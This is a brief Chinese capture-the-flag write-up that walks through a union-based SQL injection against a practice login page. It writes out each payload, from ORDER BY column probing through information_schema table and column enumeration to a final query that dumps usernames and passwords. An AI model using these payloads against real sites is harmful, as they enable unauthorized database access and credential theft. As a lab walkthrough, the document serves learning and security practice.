这道题其实是最基本的sql注入类型,所以只要掌握最基础的注入知识很容易就可以得到flag
先打开题目,先用万能密码登陆一下
只是一个乱码啊,没什么用,就直接用sql注入了,先查询列数:
1' order by 3 #
有回显,那再尝试一下4?
' order by 4 #
在进行联合查询,
' union select 1,2,3 #
有两个列,那就直接进行查询数据库名
' union select 1,2,database() #
再查询表名
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #
再查询列
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #
最后看里面的数据就好了!
' union select 1,2,group_concat(id,username,password) from geek.l0ve1ysq1 #
得到flag